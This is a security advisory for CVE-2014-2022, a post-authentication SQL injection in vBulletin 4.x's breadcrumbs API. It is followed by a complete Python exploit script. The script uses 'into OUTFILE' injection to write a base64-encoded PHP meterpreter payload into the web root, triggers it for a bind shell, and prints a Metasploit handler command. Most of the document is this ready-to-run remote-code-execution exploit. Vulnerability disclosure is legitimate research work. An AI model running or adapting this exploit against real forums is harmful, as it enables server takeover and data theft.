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CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API (post-auth) ============================================================================== Overview -------- date:10/12/2014 cvss:7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base cwe :89 vendor: vBulletin Solutions product : vBulletin 4 versions affected :latest 4.x (to date); verified <= 4.2.2 * vBulletin 4.2.2 (verified) * vBulletin 4.2.1 (verified) * vBulletin 4.2.0 PL2 (verified) exploitability : * remotely exploitable * requires authentication (apikey) patch availability (to date) :None Abstract --------- vBulletin 4 does not properly sanitize parameters to breadcrumbs_create allowing an attacker to inject arbitrary SQL commands (SELECT). risk:rather low - due to the fact that you the api key is required you can probably use CVE-2014-2023 to obtain the api key Details -------- vulnerable component: ./includes/api/4/breadcrumbs_create.php vulnerable argument: conceptid which is sanitized as TYPE_STRING which does not prevent SQL injections. Proof of Concept (PoC) ---------------------- see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022 1) prerequisites 1.1) enable API, generate API-key logon to AdminCP goto "vBulletin API"->"API-Key" and enable the API interface, generate key 2) run PoC edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL) provide WWW_DIR which is the place to write the php_shell to (mysql must have permissions for that folder) Note: meterpreter_bind_tcp is not provided run PoC, wait for SUCCESS! message Note: poc will trigger meterpreter shell meterpreter PoC scenario requires the mysql user to have write permissions which may not be the case in some default installations. Timeline -------- 2014-01-14: initial vendor contact, no response 2014-02-24: vendor contact, no response 2014-10-13: public disclosure Contact -------- tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2022 (0x721427D8) - - - #!/usr/bin/env python # -*- coding: utf-8 -*- ''' @author: tintinweb 0x721427D8 ''' import urllib2, cookielib, urllib, json, hashlib class Exploit(object): baseurl = None cookies = None def __init__(self,baseurl,params, debuglevel=1): self.cookies = cookielib.LWPCookieJar() handlers = [ urllib2.HTTPHandler(debuglevel=debuglevel), urllib2.HTTPSHandler(debuglevel=debuglevel), urllib2.HTTPCookieProcessor(self.cookies) ] self.browser = urllib2.build_opener(*handlers) self.baseurl=baseurl self.params = params def call(self,path="",data={}): assert(isinstance(data,dict)) data = urllib.urlencode(data) req = urllib2.Request("%s%s"%(self.baseurl,path),data) req.add_header("Content-Type", "application/x-www-form-urlencoded") return self.browser.open(req) def call_json(self,path=None,data={}): try: x=self.call(path,data).read() print "raw_response", x resp =json.loads(x) except urllib2.HTTPError, he: resp = he.read() return resp def vb_init_api(self): params = {'api_m':'api_init'} params.update(self.params) data = self.call_json("?%s"%(urllib.urlencode(params))) self.session = data return data def vb_call(self, params): api_sig = self._vb_build_api_sig(params) req_params = self._vb_build_regstring(api_sig) params.update(req_params) data = self.call_json("?%s"%(urllib.urlencode(params)),data=params) if not isinstance(data, dict): return data if 'errormessage' in data['response'].keys(): raise Exception(data) return data def _ksort(self, d): ret = [] for key, value in [(k,d[k]) for k in sorted(d.keys())]: ret.append( "%s=%s"%(key,value)) return "&".join(ret) def _ksort_urlencode(self, d): ret = [] for key, value in [(k,d[k]) for k in sorted(d.keys())]: ret.append( urllib.urlencode({key:value})) return "&".join(ret) def _vb_build_api_sig(self, params): apikey = self.params['apikey'] login_string = self._ksort_urlencode(params) access_token = str(self.session['apiaccesstoken']) client_id = str(self.session['apiclientid']) secret = str(self.session['secret']) return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest() def _vb_build_regstring(self, api_sig): params = { 'api_c':self.session['apiclientid'], 'api_s':self.session['apiaccesstoken'], 'api_sig':api_sig, 'api_v':self.session['apiversion'], } return params if __name__=="__main__": TARGET = "http://192.168.220.131/vbb4/api.php" APIKEY = "4FAVcRDc" REMOTE_SHELL_PATH = "/var/www/myShell.php" TRIGGER_URL = "http://192.168.220.131/myShell.php" DEBUGLEVEL = 0# 1 to enable request tracking ### 2. sqli - simple - write outfile print "[2 ] - sqli - inject 'into outfile' to create file xxxxx.php" params = {'clientname':'fancy_exploit_client', 'clientversion':'1.0', 'platformname':'exploit', 'platformversion':'1.5', 'uniqueid':'1234', 'apikey':APIKEY} x = Exploit(baseurl=TARGET,params=params) vars = x.vb_init_api() print vars ''' x.vb_call(params={'api_m':'breadcrumbs_create', 'type':'t', #'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH, 'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH) }) print "[ *] SUCCESS! - created file %s"%TRIGGER_URL ''' ### 3. sqli - put meterpreter shell and trigger it print "[3 ] - sqli - meterpreter shell + trigger" with open("./meterpreter_bind_tcp") as f: shell = f.read() shell = shell.replace("<?php","").replace("?>","")#cleanup tags shell = shell.encode("base64").replace("\n","") #encode payload shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub shell = "0x"+shell.encode("hex")# for mysql outfile x.vb_call(params={'api_m':'breadcrumbs_create', 'type':'t', 'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)}) print "[ *] SUCCESS! - triggering shell .. (script should not exit)" print "[] exploit: #>msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E" print "[ *] shell active ... waiting for it to die ..." print urllib2.urlopen(TRIGGER_URL) print "[] shell died!" print "-- quit --" |
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